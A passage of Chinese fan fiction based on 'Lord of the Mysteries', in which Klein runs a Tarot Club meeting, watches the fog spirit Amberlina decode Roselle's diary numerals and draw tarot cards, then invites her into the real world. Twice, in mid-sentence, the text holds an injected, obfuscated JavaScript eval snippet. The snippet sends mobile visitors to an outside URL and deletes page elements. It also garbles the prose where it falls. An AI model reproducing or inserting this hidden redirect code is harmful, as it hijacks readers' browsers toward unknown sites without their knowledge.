“宴会结束后,我和一位女士一见如故。她问我:古斯塔夫先生,您对现在的一切满意吗?拥有显赫的地位,不断增长的力量,还有这新生的血脉。满意吗?当然满意!或许这才是生活该有的样子。我感觉可以做到更多、更多。” “我对未来充满了无限的想象。” 看到这里,克莱恩忍不住也被这喜悦的文字感染了一点,嘴角上扬。看起来罗塞尔大帝也因为女儿的降生喜不自胜,逐渐和这个世界产生了真实的联系啊。他忍不住摇摇头,不由自主想起廷根的那个小小的家里,和家人们的一点一滴,再次把那酸涩的感觉压了下去。 克莱恩继续看了下去。 “和她的交谈实在令人如沐春风。仿佛遇到了一位知音。有那么一瞬间,我甚至怀疑我和她在某个地方见过。不过这样的既视感太多了。哈哈,我对每位漂亮的女士都有这样的错觉。” “她似乎是一位因为叛逆女儿而烦恼的母亲。我分享了一些作为父亲的想法,希望对她能有所帮助。有机会真想和她再聊聊...” 后面的内容似乎没有太多实质性的内容。克莱恩思忖着。倒是有很多温馨的片段。他想起罗塞尔似乎还有个“教育家”的头衔,这或许也和他女儿的降生后,心态再次发生转变有关? 他在心底深吸一口气,收敛思绪。三张日记瞬间化作流光消失。 克莱恩用手指轻轻敲击青铜长桌的桌面,发出沉稳的敲击声,示意道: “你们可以开始交流了。” 10. 破译语言 自由交流时间开始了。 克莱恩熟练地分出一缕心神,操控“世界”秘偶,用嘶哑的声音提出交换关于“恶魔”途径非凡者信息的请求。他需要再次验证自己的推理,确保万无一失。 起初他还有些微妙的羞耻——刚在上首以神明的姿态发号施令,下一秒就要急急忙忙地操控自己的小号换取信息..... 克莱恩偷偷地用眼角余光瞟了一眼身旁的侍者。好在安波莉娜目不斜视,异常安分,姿态完美得像是一尊雕塑。 她看上去只是在放空自己:她的双手规矩地放在裙摆前,一副绝不逾矩的样子。 偶尔视线转移到发言的成员的嘴唇开合上,一会儿向上看看虚空中流淌的灰雾,对于这一切都兴致缺缺,甚至没有心情吐槽几句他的自导自演。 看起来倒是挺像样的..原来她只要愿意,还是能做好的...克莱恩在心里摇摇头。 但他完全不敢放松警惕。鉴于安波莉娜过往的行为,他还是有些担心。时刻提防着她做出什么吓人的举动。 不过现下还有更棘手的事情。先前那点微不足道的羞耻被快速地冲淡了,注意力回到了眼下的交易里。最后成功地用真实造物主的情报和“太阳”交换了恶魔途径非凡者的信息。 正如其名,这条途径的非凡者以冷酷、残忍、嗜血闻名。想起安波莉娜的神秘学小知识大放送——“途径本身对于性别和物种都没有限制”,克莱恩特地留了个心眼,询问了“太阳”关于其他物种服用恶魔魔药后是否会产生不同的恶魔变体。 “太阳”戴里克给出了肯定的答复,并补充了一些白银城里有记载的案例。 真是帮大忙了啊......克莱恩险些要冒冷汗了。 一个更加诡谲出格的猜想在他脑海中产生:造成这起轰动一时的案子的连环杀手——很有可能,根本就不是人。 而是一条狗。一条吞食了魔药,逐渐具备人的智能、狡猾残忍的恶魔犬! 额角冒出细微的冷汗,这个猜想让他一阵胆战心惊。一直以来,难怪那些非凡者都没有对于犯人明确线索。原来他们追查的凶手从,一开始就不在“人类”这个范畴里。这谁又想得到呢? 克莱恩的大脑飞速运作:一条普通的野狗,不太可能捡到别人的非凡特性,又恰好是“恶魔”途径。并且一口吞掉后却没有暴毙,反而懂得了扮演法,最后一路顺利晋升。 理论上来说吞服魔药的动物比一般的人类非凡者更容易失控。那些复杂的魔药配方,尤其是各种辅助材料,更需要有人在各个非凡者聚会或地下市场进行交易准备。而且它们的价格也不像是一条狗可以负担得起的。 那么这条恶魔犬,极有可能背后还存在一位人类主人。 想到这一点,他感觉头更痛了,拥有足够财力和资源给自己“宠物”晋升到这种程度的非凡者,本身的序列也不会太低... 看来得找个合适的机会,把这些关键情报“不经意”地透露给艾辛格·斯坦顿先生了...克莱恩在心中迅速定下策略。准备让艾辛格背后的官方势力出手。 他收敛思绪,给出了真实造物主的信息。最后操控着“世界”结束了和太阳的交易,把发言机会让给了其他成员。 紧接着,“魔术师”佛尔斯小姐紧接着求购“戏法大师”和“药师”魔药的行为火速地让她掉了马甲。这看似高明的技巧,实则迅速地被识破了。不论是“正义”小姐还是“倒吊人”先生的嘴边都噙着一抹了然的笑,只有“太阳”戴里克似乎还在状况之外... 克莱恩端坐在高背椅上,几乎有些怜悯了... 安波莉娜依旧没什么表情,对于这番智斗有些无趣地摇头,甚至毫无波澜地打了个哈欠。 有钱不赚白不赚! 克莱恩立刻操控着“世界”的马甲,接下了佛尔斯的委托。将手上的药师配方以230镑的价格顺利成交。 取得“戏法大师”的配方的方法更简单。他准备等他们都走了之后,拿手上的神奇物品占卜一下,也顺便薅一下这个途径的羊毛... 接下来应该没什么他能插上手的事务了。 克莱恩的心中顿时轻松不少。他放开了和“世界”的联系,维持着最低的灵性输出,看着其他人开始讨论“扮演法”还有古老的神灵。 也就在这个时候,安波莉娜似乎也领会到了这一点。 一直保持不动的她走了下去,突然打破了她和其他成员之间的界限。 她歪头,如同观赏商店橱窗里的展品般微微侧身,好奇地开始近距离打量他们。 克莱恩嘴唇微张,想起自己之前的承诺,阻止她的话卡在了喉咙上。 她缓步走过“倒吊人”的身边,停留了一秒。若有所思地喃喃:“有海的味道...水手。” 她从“太阳”戴里克的身边经过,快速地扫视了一下他结识的肌肉和异于常人的体格,定下结论:“战士。” 她凝视着“正义”奥黛丽优雅的身姿,了然地点了点头:“观众。” 最后,她停留在似乎因为交易完成,松了一口气的“魔术师”佛尔斯面前。 她仔细地端详着她的脸庞,仿佛在确认什么般嘀咕道:“学徒...?” 完成这一圈巡视后,她才悄无声息的回到了原来的位置,假装什么都没发生过。 坐于上首的克莱恩感觉整个人都不好了。 他嘴角抽搐,心中顿时涌现不祥的预感:你要干什么,为什么要现场鉴定非凡特性!是要准备现点现杀吗......! 他就知道,果然一直憋着坏,是在准备大招吗! 灵性微动,灰雾也涌动着,好似准备回应他的召唤。他已经做好了准备,如果安波莉娜意图做什么,他就立刻用自己的权限把她塞回灰雾里关十天半个月的禁闭... 塔罗会虽然成立不久,但是也算实打实地给他带来不少情报和资源,要知道“正义”小姐还欠着他,不,他的“眷属”不少金镑呢。他不会让安波莉娜有机会胡作非为的! 好在安波莉娜只是露出了一个暧昧的笑容,甜甜地看着他,像是在说“我什么都没有打算做哦”。 接下来的时间里,克莱恩一直保持神经紧绷,一直到所有交易都结束,其他人纷纷散场。安波莉娜似乎也信守着承诺,姿态优雅地站在他身边。 真的假的,克莱恩看着座下空空如也的位置眨眨眼。 首次有安波莉娜在场的塔罗会,竟然就这样有惊无险地度过了。 难道真是他把人想得太坏了?也不对...有备无患就是这么用的。等到她真的做什么的时候就已经晚了。 他深吸一口气,把刚才收到的罗塞尔日记全部放出。 随着他的意念微动,重复的纸张全部被粉碎,化为了微光融入了灰雾里。而剩下的日记也迅速排成整齐的一列,严格按照时间先后顺序。 他再次把所有日记浏览了一遍,依旧没有获得更多有价值的信息。 要是能有更多日记好了...“正义”小姐手上还欠着好几份承诺的日记。“倒吊人”先生也会定期提交一些收获。如今又多了一位成员“魔术师”佛尔斯小姐,她作为作家也有自己的圈子。想必未来也会加入到这收集日记的队伍中。这样一来效率就大大的提高。想到这里,克莱恩感觉肩上的包袱轻松了不少。 安波莉娜一直安静地站在他身旁,视线跟随着他摆弄那些纸张的动作。 克莱恩看着她那对平静灰色眼眸,心中突然萌生出一个想法。 他试探性地问道:“安波莉娜,你看得懂这些罗塞尔日记吗?” 她本身源于神秘学的领域,而罗塞尔日记一直没有被这个世界的学者成功解读过。从现有的语言学体系来破译暂且不论,万一她能从神秘学的角度试试看呢? 闻言,安波莉娜歪头,也快速浏览了一遍这些文字,有些遗憾地摇头。 “很遗憾,主人,我看不懂哦。”她伸出一根手指,轻点纸张上的文字,“这上面使用的语言不同于当今国家和古代的任何一门文字,更接近一套独立的密码符号。” “在没有对照的情况下,我可以总结其中的规律,做出一些推断,但也没办法像您一样直接解读。” 语毕,她自认为很有人情味地补充道:“如果您希望更有陪伴感,我也可以假装看得懂,然后附和您的话呢...像什么,主人好厉害、主人好棒!” 果然啊,克莱恩失笑。即便是从神秘学领域解读,也需要遵循一定的规律和逻辑。 经过最近的一系列事情的捶打,他的灵性又有增长,开完一场塔罗会到现在还没到耗干的程度。此刻倒是生出几分闲暇的兴致准备逗逗她。 他意念微动,让这些纸张平均摊开在青铜长桌上,排成了长长一列浅色的队伍。 “那么,你要不要来试试看?”克莱恩露出一个玩味的微笑,曲起指节敲敲桌面,“时间还很长。在不完全透露原文的情况下,我可以适度给你提供一些信息作为提示。” 她歪头,不明白这位主人为什么突然就展现出了兴致。但眼下她也没什么别的事情要做。《伯爵夫人的秘密情史之大公爵带球跑》上册也已经看完了。下册也迟迟没有着落! 她决定接受挑战,权当做打发时间。 “那么,请恕我僭越。”她弯腰,凝视着纸张上的文字。纯灰色的眼眸深处中似乎有隐约的符号闪烁。 “第一个问题,这门语言存在阴性,阳性或中性的变格吗?” 上钩了啊...克莱恩微微一笑:“不,它没有。” “那么,这门语言的所有词汇,是否会根据主语的数量产生不同变化?即便倒错词汇,也不会影响整个句子解读。” 好像在玩什么语言学海龟汤...克莱恩咧开嘴角,再次否定:“不,也不会。” 到目前为止,她的问题甚至没有触及到中文这门语言的核心。 属于前历史系大学生的好胜心在发作! 他颇为悠闲地补充信息,帮她降低破译的难度:“它的规律不同于现存的,以字母或音素主导的任何一门语言的语法。” 安波莉娜的眉头微微蹙起。一门独立于通用语,鲁恩语,又不和南大陆的殖民地区的原生态文字相似的语言超出了她的想象。而这门语言甚至也甚至不会和古赫密斯和巨人语这种祭祀语言重合。 她偷偷地瞟了几眼克莱恩,发现对方正在以一种胜券在握的表情微笑看着她,像是在看一个牙牙学语的原始人。 ...有点火大! 她思考了几秒,换了一种方向。 “那么,请恕我抛开语法规则。”她继续提问,“这是一门信息密度很高的语言吗?单个字符会在不同语境下产生不同的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506854|186102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释义。” 克莱恩赞同地点了点头。终于有个问题到了点子上。 “是的,它的信息密度非常高。”想到家乡深奥的文字,他的表情不自觉地就柔和了起来,甚至带着一丝怀念,“仅仅是解读时的音调变了个调,就会产生截然不同的意义。” ....... 安波莉娜的表情困惑极了。 她有点头疼地重复道:“一门不依赖字母、音素构成,高语境依赖,连音调高低都会改变释义的语言...?这是为恶魔准备的吗?大家不会因为听岔对方的话打起来吗?” 中文词汇有好几千呢!克莱恩看着她苦恼的表情,突然有些暗爽,有种看到外国留学生被中文折磨得痛不欲生的快乐...... 同一个发音,却有不同的音调的词就有好几种。像那个经典的“妈妈骂马”的绕口令...明明每个字的发音都相同,却因为音调变调变成了截然不同的意思。 克莱恩微微一笑,继续补充:“是的,你可能会觉得它是一门纯粹的象形文字。但是它却不是完全的象形。其中一部分字词保留了表意,也会兼具表音的功能......” 安波莉娜的笑容垮了下来。 “您在打趣我。”她摇头,“这样一套逻辑自洽且结构严密的密码,不是我能够从无到有破译的。” “而您所说的类似的象形文字符号,根据一些记载,出现在约八千年前左右的一些山脉的洞窟的石壁里。无人能破译,解读。如今早已失传。我也只能窥见些许痕迹。” 八千年...? 看来这个世界也有石壁文字啊...怎么以前上学的时候没怎么讲到。失传了?八千年得是多久?第一纪元,第二纪元?考古学家肯定喜欢这种话题。 克莱恩双手抱臂,想起了以前网上流传的那个“好怀念我们还是猴子除了吃树上的香蕉什么都不用做的时代”的梗。 但由于这个世界的基底是神秘学,人类到底是不是依照进化论演化而来的还难说呢。他在心里默默腹诽。 但安波莉娜心中有了些别的猜测。 “我有了一些新的想法。”她微微抬眼,看向了纸张的开头,“现下的人们,不会称这罗塞尔大帝留下的这些笔记为日记。他们通常会称呼它为笔记、密文,而您却一直称呼其为日记。” “您作为唯一能解读这门语言的人,保持着这种称谓,说明它本身就严格具有日记的体裁——也就是时间标记。” 伴随着她的话语,那些摊开的纸张纷纷排列了起来,漂浮在了虚空。她的视线瞬间锁定在每一篇日记固定的开头格式,克莱恩也一同看去,那里写着只有他才看得懂的一月一日,八月一日,九月十日...诸如此类。 他懂了她的意思。 “再按照您所说,它具有象形的特点。那么,位于每篇这个开头频繁出现的简单笔画,这个固定的起始..就是最原始,最单调,也最不变的——” 锁定了形状的相似,确认了这个字词仍在描述变量的数词领域。 她指向了每篇日记开头里那些不变的格式。随即在浩渺的灰雾上,写下了一个“一”。 克莱恩微微一笑。是的,这是一切汉字的起源。也是数字的起始。许多语言中约定俗成的形式。对于使用最基础原始的人类来说,它可以表示是一根单调的木棍,一条蜿蜒的河流,岩壁上的一道刻痕...是这拥有智慧的生物记载事情的尝试。 推测出它并不难。 而有了“一”作为基石,便很快能推出了“二”和“三”。 一个一个的正正方方的汉字凝聚在了空中,让他产生了些许的亲切。 不过到了“四”的时候,安波莉娜很明显卡住了一下。因为之后的数字不再掌握这种简单的规律。 “已知这是日记,您按照了一定的顺序来排放。那么请允许我再次作弊。假设它们是按照时间先后顺序...第一个时间单位前,‘一’和‘二’只出现了一次循环。而第二个时间单位前的数字,频繁地出现了‘二二’、‘二三’的复数搭配。因此,这是月份和日期...” “月”和“日”也已经昭示。 虽然有些草率,但这些日记里出现的数词已经足够,不多不少刚好到了十个。那一横一竖的字形,“十”微妙的卡在复数的月份和日期里。那么这就是表示十进制的整数。 按照月的时间顺序重新排列,梳理。她再次思索了一番。 她的指尖在灰雾里划动:“那么跟在‘三’之后的这些数字,便是‘四’、‘五’、‘六’....” 很快,从“一”到“十”的汉字,如同被点亮的一颗颗星辰,在虚空中排好了。 安波莉娜侧身看着他,等待着他的判断。 克莱恩看向空中那排由灰雾凝成的汉字,脸上的微笑不曾减弱。 但因为日记的残缺,月份并非连续性的连贯出现,她根据日期补充出的汉字“七”和汉字“八”的顺序反了过来。他挥手,帮助它们调转了顺序。 自此,十个汉字完成了排列。 虽然她自称作弊,利用了他语言里的疏漏进行逆向推导,但毫无疑问,能在如此短的时间里从无到有,找到了突破口,也足够令人吃惊了。 坐于上首的“愚者”对于这番表演心悦诚服,由衷鼓掌赞叹道: “——完全正确。” 11. 宁有种乎 安波莉娜得到了极大的鼓舞! 她骄傲地扬了扬下巴,随即像演员一样夸张地弯腰躬身,将手按在胸口,行了个标准的谢幕礼。 “接下来,”手指在纸张上停驻,她补充了一个想法,“不排除省略主语的情况,但在这句子开头,这个高频重复的字,极有可能是指代书写者自称的主语。” 她的手指停在了罗塞尔日记上的那个汉字“我”上。 克莱恩赞许地点头,有些放松地靠在高背椅上:“判断正确,还有其他发现吗?” “也许有点难度。”她露出思索的神情,“但我已经厘清了日记的时间。如果能对照他人整理的,罗塞尔生前的秘辛进行一些对比,应该可以提供思路,整理出不少字词。从而完全推导这门文字的内容。” 思路也不错。克莱恩默默地用手指敲着扶手。罗塞尔作为因蒂斯曾经的执政官,肯定会有记录官记载下他的一言一行。 但因蒂斯和教会可不会那么轻易地借出这些文本...这或许也是大众无法破译罗塞尔的日记的原因之一? 不过大多数人甚至还没有到意识到这是日记的地步,安波莉娜其实做得挺不错了。他又多看了她两眼。 安波莉娜竖起一根手指:“至于他日记里那些隐秘的,不愿意公开于众的内容,恐怕就超出我的能力范围了,但可以试一试.......” 罗塞尔生活的细节...不愿意展现出的隐秘内容...克莱恩咧开了嘴角,想起罗塞尔在日记里混乱的情史,那些混沌的内容,还有对于穿越后伙食的抱怨。如果这个思路真能推到出中文的规律,那么这下怕不是连底裤都要被她掀了。 “做的不错。”克莱恩清了清嗓子,压下笑意,“我应该给你个奖励。” 安波莉娜眼睛亮了起来:“那么,书的下册....” 话未说完,克莱恩干咳了两声,带过了这个话题。 手腕翻转,一副熟悉的塔罗牌便悄无声息地出现在了他手中。一张张牌在他的手指间穿梭跳跃,洗牌、切牌。接着,“唰”地一声摊开,二十二张主牌的牌背朝上,等待着选择。 安波莉娜咦了一声,困惑地眨眼。这正是之前为刚进入塔罗会成员挑选代号的那一副。 “您这是...?” 克莱恩努力地让自己的表情显得庄重,他循循善诱:“你信守了承诺。没有展现自己对于他人的攻击性,表现出了克制的品格,协助我管理了事务、破译密文,展现了你的优秀能力。” 他双手合十,目光温和:“我认为,应该给你一个正式的代号了。让你成为塔罗会的正式成员....嗯,更加面向组织内部的那种?和他们一样。” “真的吗?”安波莉娜的眼睛亮了起来,发出欢呼的声音。 深吸一口气后,她立刻闭上眼睛,装模作样地假装自己在接受命运的感应。 “那么,我不客气了!” 克莱恩忍住笑意,看着她的手指在牌中逡巡。不知道她会抽出什么样的牌呢? 终于,她选定目标,小心翼翼地将牌翻转了过来,那里赫然写着的是—— 二十二张大阿尔卡纳牌之首,第零号塔罗牌,“愚者”。 空气瞬间凝固了。 克莱恩脸上的笑容也僵住了。 安波莉娜若有所思地看着牌面。那上面画着一位携带行李,有白色的小狗跟随的年轻人。他看着远方,仿佛对这趟未知的旅行充满了无限的期待。身后,旭日高升,光芒万丈,也揭示着他的冒险拥有不被局限的可能性。 那也正是他穿越之初,在马戏团抽到的第一张牌——“愚者”。 安波莉娜陷入了沉思.... 紧接着,她猛然抬头! “主...不,前主人——我已经明白了。”她快速地改掉了先前使用的称呼! 话音未落,她仿佛悟到了什么般,瞬间被一股巨大的无形之力托起,直至整个人都漂浮在了虚空。 在她的身后,一片星星点点的虚幻光芒开始闪烁。磅礴的灰雾涌动起来,争先恐后地去填补她身后的空缺,而克莱恩虚虚地眯起眼,隐约辨认出了那里仿佛要勾勒一件崭新的织物,那是象征着王权的豪华披风。而她的头顶也逐渐浮现王冠的形体。 “这就是,这就是——”她深吸一口气,“天命啊!命运如此昭示,这个位置应该轮到我坐坐了!从今天起,我,安波莉娜,就是‘愚者’了!” 才夸了你三分钟就要谋权篡位了吗?! 克莱恩眼角一跳。他早该想到的,他既然对应的就是“愚者”牌,那么和他紧密联系的安波莉娜、这片神秘的空间的化身也大差不差...这就是神秘学的指向性吗?他再次刷新了认知。 也许这个抽牌行为本身就是多余的! 他们周身的灰雾翻滚膨胀,发出嘶哑的叫声,更加卖力地给她编织披风。眼见事态就要滑向不可控的深渊! 克莱恩深吸一口气,不再犹豫—— 下一秒,他曲起手指,毫不留情地朝着她那颗脑袋敲了下去。 “...哎呀!” “咚”的一声响,安波莉娜和周围的神秘学联系瞬间被切断,整个人如同断线的风筝般跌落了下来。由于和地面只相距了一小节距离,头顶传来的剧痛远远大于跌落的痛苦。她的双眸瞬间变得水润,抱着脑袋,不可置信地看着他。 “做得不错。”克莱恩面无表情地收回手,朝着桌上的牌努了努嘴,“重新抽。” 安波莉娜嘀嘀咕咕:“您是不是玩不起...” 说着,她悻悻地从地上爬起来了,唉声叹气。看着他再次洗牌、切牌。二十一张大阿尔卡纳牌的牌背保持向上。这次,他特地拿走了那张“愚者”牌。 我今天就不信邪了!克莱恩眼角抽搐,示意她可以重新开始了。 她伸出手指,有点不情不愿地再次抽牌,这次内容果真不一样了。 牌面翻转,上面画着一对不着寸缕的男女,迎着神圣的天使的注视,亲密无间地沐浴在光辉之下。 ——这是“恋人”牌。 克莱恩脸上的表情变得极其精彩。 安波莉娜立刻来了精神。她佯作娇羞地低头,用一种刻意的甜腻声音开始阴阳怪气:“哎呀呀,怎么会是这张牌呢?真是...让人家有点不好意思了...我也不想的呀...” “主人,”她甜蜜地微笑,提着裙摆,朝着主座逼近,“这是否昭示着,我们之间,要开始一场禁忌的、轰轰烈烈的职场恋爱了吗?” 她说完,迅速再向前一步!整个人的气势一改刚才的萎靡和脆弱。充满侵略性地开始无限逼近他。 二人之间距离不断地缩小,缩小,再缩小,已经突破了社交安全范围。那小巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506855|186102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的头花差点戳他鼻尖上,逼得他的头不得不向后仰去。 一股热气窜上了克莱恩的耳根,将它染成了鲜红色。 “胡、胡说什么呢!这个牌的解读不是这样的!”他狼狈地侧过头去,躲避她炽热的视线,并且努力用手推开她的脸,“这张牌揭示着的是人生态度!勇敢面对,积极进取!人生态度,人生态度你懂吗?!” 安波莉娜似笑非笑看着他惊慌的样子。有些遗憾地把手中的“恋人”牌放回牌堆中。 她失落地喃喃:“这样啊,原来不是恋爱啊...太可惜了...我还以为有点刺激的剧情呢...” 你可惜的是又少了一个捉弄我的机会吧!克莱恩在心底无声地尖叫。 眼见逼不出他更多有趣的表情,安波莉娜大发慈悲地退回到了原来的位置,放过了他。 于是,一切又回到了原点。宏伟恢宏的殿堂,青铜长桌,两人,还有那副被诅咒了般的塔罗牌。克莱恩在心底沉重地叹息,开始了第三次的尝试。 这次安波莉娜少了些仪式感,简单粗暴地从中抽出了一张牌。没有了“恋人”和“愚者”牌的干扰,这次牌面翻转——已有归属的“魔术师”。 真是见了鬼了...克莱恩偷瞄了一下她,难道从神秘学理论上来说,她和这三张塔罗牌背后象征的途径关系密切?但是为什么一个人会和三条途径相关?还是塔罗牌出问题了?今日真的不宜占卜? 安波莉娜唉声叹气,双眼流露出悲伤:“难道上天注定我就应该去伤害别人吗?真难过。我们彼此要为了一个空虚的名号互相争斗、发起死战吗!命运真是何等的残酷......” 没人叫你去把你的同事取而代之啊! 克莱恩忍住继续吐槽的欲望,不死心地再次把“愚者”、“恋人”、“魔术师”都放入塔罗牌里,这回二十二张大阿尔卡纳牌又齐聚一堂了。重新洗牌切牌。他示意安波莉娜继续,不过接下来,整个过程仿佛都陷入了一个怪圈:愚者-恋人-魔术师。 这三张牌开始在她的手里无限循环。 安波莉娜露出了无辜的微笑。 太没道理了。这下他也不得不承认,这并非巧合。神秘学上的联系还在持续发力。克莱恩陷入深思,“愚者”如果指代是占卜家,“魔术师”指代的是学徒途径,那么“恋人”牌又指代的是什么途径? 安波莉娜、不,这片灰雾到底是什么东西...?还是说安波莉娜未来还能进化出奇怪的版本?三个版本?三位一体? 安波莉娜笑吟吟地支着下巴,似乎期待着他接下来的对策。 克莱恩深吸一口气,嘟囔:“我有办法了。” 她“哦?”了一声,等待他的后文。 “等下次塔罗会你就知道了。”克莱恩摇摇手指,故作神秘,“我会给你一个满意的答复。” 安波莉娜眨眨眼,没有过多的抗议,似乎想看他到底做出什么花样。 但是奖励的问题还是没有解决啊...克莱恩双手合十,有点苦恼地看向虚空。那里一如既往,只有灰雾静静地漂浮、流淌。先前那如狂风骤雨般的猛烈气势已经伴随安波莉娜的镇压结局消失。如今陷入了安稳的平息。 一个微小的念头窜了出来。 他问出了那个最近正在考虑的问题。 “安波莉娜。”他说,“你想和我一起出去吗?” 12. 社交恐惧 克莱恩觉得这个想法没什么问题,几乎可行。 第一,住处不是问题。 萨默尔太太租给他的那栋明斯克15号的联排房屋,空间相当充裕。光是一楼就有两间客房,而二楼也有四间稍小的卧室。就算她当场分裂也完全绰绰有余。 第二,躯体也不是问题。 他既然可以借助灰雾和“全黑之眼”的力量捏出“世界”秘偶。那么同等原理,安波莉娜完全也可以借用它的力量,给自己捏一具临时的、可供在物质位面驱使的躯体。 他越琢磨,越是觉得这个计划可行性很大。 “我们可以约法三章。”克莱恩坐直了身体,言简意赅地概括,“在你不主动使用非凡力量,去袭击他人、恐吓他人的情况下,你可以自由行动。” “外面的世界比你想象中有趣得多。” 贝克兰德虽然雾气弥漫,大多数时候甚至看不到太阳。但好歹也是一个国家重要的经济文化中心。什么叫万都之都希望之地!完全可以坐马车在大街小巷逛逛,去剧院欣赏最新的戏剧、歌剧,品尝点心。除非是什么顶级奢侈消费,他完全负担得起。 他在心里快速估算了一遍初步开销,发现完全在自己可以接受的范围内。 虽然这个数字听起来有些肉疼,但他还是懂得奖罚分明的! “我可以把全黑之眼借给你。”克莱恩指了指一旁的“世界”秘偶,“只要你在每周一下午三点还我就行了。不过那个时候估计我们俩都在灰雾上准备塔罗会,基本上可以无缝衔接。” 还有更重要的一点。 他琢磨着,说不定安波莉娜使用了“全黑之眼”塑造身躯后,起码能有序列5的位格和力量。这样以来,也算平白多了一个序列5的打手。唯一的隐患就是它的污染——那来自真实造物主的,源源不断、永不停歇的呓语。不过她作为灰雾的造物,也应该可以轻松地压制。 越想越是觉得前途灿烂,形势大好...... 用一些闲散的零钱换来一个序列5实力的忠心耿耿的员工给他打工!要知道保镖小姐的时薪也很贵。之后要是再去探索那个可疑的地下遗迹,多一个帮手也多一份力量。 克莱恩求证般地看向了她,等待着她的答复。 而安波莉娜听完那句“你想和我出去吗”后,彻底呆住了。好像根本没有听他后面畅想出来的美好未来。 周遭的灰雾都因为她的情绪吓了一跳,停止了流动,瞬间凝滞,成为了真正的灰色琥珀。 她的嘴唇微张,整个人站在原地,如遭雷劈。 克莱恩:“.......?” 他也怔住了,这、这不对吧。这不是欣喜若狂时的表情吧!吓呆了?因为听到可以出门,太激动了,所以安波莉娜.exe无响应,导致她整个人都宕机了?! 克莱恩盯着她的脸,试图看出什么端倪。 根据他以往的观察,通常情况下,安波莉娜表达的震惊表情有三种。 一种是轻微挑眉,大致意思是“啊哈,就这”、一种是优雅地用手掌半掩嘴唇,这表达的是“真的吗真的吗世界上真的有这么蠢的人吗”、最后一种是极具夸张地张嘴,表示“太厉害了我对您的鲁莽和愚行已经叹为观止了☆”。 但此刻,他第一次在她脸上看到这种不加掩饰、没有任何表演痕迹的纯粹震惊。 ...等等,反应这么大吗?!我只是想问你要不要出去看看...该死。 他突然想起之前说的那句——“你想和我出去吗?” 难道听起来像在邀请她要不要去约会?克莱恩的内心在尖叫,越想越觉得脸上发烫,救命啊,这句话听起来真的有歧义。他真的不是那种心血来潮对女下属下手的黑心老板! 他连忙补救道:“等等,你误会了,我只是想问你想不想去物质位面...” 话还没说完,安波莉娜突然“唰”地一下开始从他身边迅速后退。 她的裙摆发出猎猎的风声,布料显得极其沉重。 她每往后退一步,身形就开始变化。 后退到青铜长桌起始位置时,她身上的颜色瞬间褪去,血色从她的脸上消失,裙摆上的暗金花纹刹那粉碎,化为齑粉。就在他的眼前,安波莉娜整个人变成了纯粹的黑与白。 她继续后退,到了长桌中段,五官的和身形的轮廓如同高温炙烤下的蜡像般融化。 那颗灰色的眼球“啪嗒”一声掉落在地上,眼窝沦为了两个巨大的黑洞。她那四肢从前端开始溶解,顺着袖口和裙摆,滴滴答答地垂落在了地上。 流淌,蔓延,最后化为了绝对的雾气。 安波莉娜正在向后...蠕动? 她的身影越来越远,越来越淡,几乎要和背景的灰雾融为一体。 克莱恩:“.......?” ...不是,你要去哪,还回来吃饭吗....克莱恩讶异地张嘴,一时之间不知道该不该伸手拉住她。 他想过很多下场。但是唯独不会是这种! 比如欣喜地接受,冷淡地拒绝,或者尖酸地嘲讽。他也一概接受,毕竟这是他强行把自己当意志加在她身上。被拒绝了也毫无怨言。顶多再想想别的办法弥补他的承诺。 而安波莉娜听完他构想的蓝图和就业愿景后,飞速...消失了! “为什么是这种反应啊!”,克莱恩的内心在羞耻地尖叫,“你不愿意也不用退这么远吧!我是什么很脏的东西吗!” 也就在他内心倍感不安的片刻,安波莉娜的人形也彻底消失了,全部融化进了灰雾里。 “安波莉娜?”他抬头看看周身朦胧的灰雾,困惑地呼唤她的名字,试图寻找着她的存在过的痕迹。 而此刻,这寂静的宫殿里,只剩下了他一人。 过了好一会儿,一个声音才从遥远的灰雾里弱弱地传来。 “........我在的。” 四面八方,遥远悠长。 那是她、不对,应该被称作“它”了。 它的毫无感情的声音,没有往日那般起伏。像是彻底地撕开了那层表皮,比起鲜活的人类,更像是某种机械在模仿人类的语言的产物。平铺直叙,毫无波动,几乎要产生一种“伪人”感。 好在它开口还是那个熟悉的味道。 “主人,您是要追求我吗...?”朦胧一片的雾气里,那个声音困惑地斟酌着语气,“您难道有...恋物癖吗?” 果然还是误解了!而且为什么是恋物癖! “我只是想给你一点人文关怀!”他的脸瞬间变得通红,对着灰雾里的空气据理力争,“我只是觉得你一直在这里没有太多娱乐,一个人很可怜。” 它没有对“可怜”这个词发表任何评论。 放在平时,安波莉娜肯定要揪着这一点小细节和他大战三百回合的。 “那么,真的失礼了。”声音似乎平静了一点,“我实在有点害羞...不知该如何应对。所以只能暂时退居幕后,用这种最原始形态和您交流。” 克莱恩感觉自己额角一抽一抽地跳了起来。 你到底在害羞个什么劲啊!这不就是很普通的对话吗!而你刚刚不得很得意地想用“恋人”牌调戏我吗! “不要躲在里面。”他深吸一口气,向前一步,用手拨动雾气,“出来说话,我们面对面沟通。” 他的手指穿过面前的雾气,却什么都没有抓到。只有一层冰冷的湿润感。
